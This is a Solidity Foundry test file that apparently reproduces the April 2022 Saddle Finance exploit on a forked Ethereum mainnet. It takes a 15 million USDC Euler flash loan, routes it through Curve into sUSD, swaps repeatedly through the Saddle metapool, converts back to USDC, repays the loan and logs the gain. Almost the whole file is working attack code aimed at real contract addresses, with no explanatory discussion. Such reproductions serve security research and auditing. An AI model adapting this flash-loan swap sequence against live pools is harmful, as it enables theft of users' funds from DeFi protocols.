src/test/2022-04/Saddle_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7interface IEuler {
8    function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external returns (bool);
9}
10 
11interface ICurve {
12    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
13}
14 
15interface ISaddle {
16    function swap(uint8 i, uint8 j, uint256 dx, uint256 min_dy, uint256 deadline) external returns (uint256);
17}
18 
19contract ContractTest is Test {
20    address private constant eulerLoans = 0x07df2ad9878F8797B4055230bbAE5C808b8259b3;
21    address private constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
22    address private constant susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
23    address private constant dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
24    address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
25    address private constant saddleUsdV2 = 0x5f86558387293b6009d7896A61fcc86C17808D62;
26    address private constant curvepool = 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD;
27    address private constant saddlepool = 0x824dcD7b044D60df2e89B1bB888e66D8BCf41491;
28 
29    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
30 
31    function setUp() public {
32        cheats.createSelectFork("mainnet", 14_684_306);
33    }
34 
35    function testExploit() public {
36        IEuler(eulerLoans).flashLoan(address(this), usdc, 15_000_000e6, new bytes(0));
37        console.log("USDC hacked: %s", IERC20(usdc).balanceOf(address(this)));
38    }
39 
40    function onFlashLoan(
41        address initiator,
42        address token,
43        uint256 amount,
44        uint256 fee,
45        bytes calldata data
46    ) external returns (bytes32) {
47        attack();
48 
49        //Repay Loan
50        IERC20(usdc).approve(msg.sender, amount + fee);
51        return keccak256("ERC3156FlashBorrower.onFlashLoan");
52    }
53 
54    function attack() internal {
55        //Swap USDC to SUSD Via Curve
56        console.log("USDC loaned: %s", IERC20(usdc).balanceOf(address(this)));
57        uint256 amount = IERC20(usdc).balanceOf(address(this));
58        IERC20(usdc).approve(curvepool, amount);
59        ICurve(curvepool).exchange(1, 3, amount, 1);
60        console.log("SUSD exchanged: %s", IERC20(susd).balanceOf(address(this)));
61 
62        //Attack
63        swapToSaddle(IERC20(susd).balanceOf(address(this)));
64        swapFromSaddle();
65 
66        //Swap Susd to USDC via curve
67        amount = IERC20(susd).balanceOf(address(this));
68        IERC20(susd).approve(curvepool, amount);
69        ICurve(curvepool).exchange(3, 1, amount, 1);
70        console.log("USDC exchanged: %s", IERC20(usdc).balanceOf(address(this)));
71    }
72 
73    function swapToSaddle(
74        uint256 amountStart
75    ) internal {
76        //Swap SUSD for SaddleUSDV2
77        uint256 amount = amountStart;
78        IERC20(susd).approve(saddlepool, amount);
79        ISaddle(saddlepool).swap(0, 1, amount, 1, block.timestamp);
80        console.log("saddleUsdV2 swapped: %s", IERC20(saddleUsdV2).balanceOf(address(this)));
81    }
82 
83    function swapFromSaddle() internal {
84        //Swap SaddleUSDV2 for SUSD
85        uint256 amount = IERC20(saddleUsdV2).balanceOf(address(this));
86        IERC20(saddleUsdV2).approve(saddlepool, amount);
87        ISaddle(saddlepool).swap(1, 0, amount, 1, block.timestamp);
88        console.log("SUSD swapped: %s", IERC20(susd).balanceOf(address(this)));
89    }
90}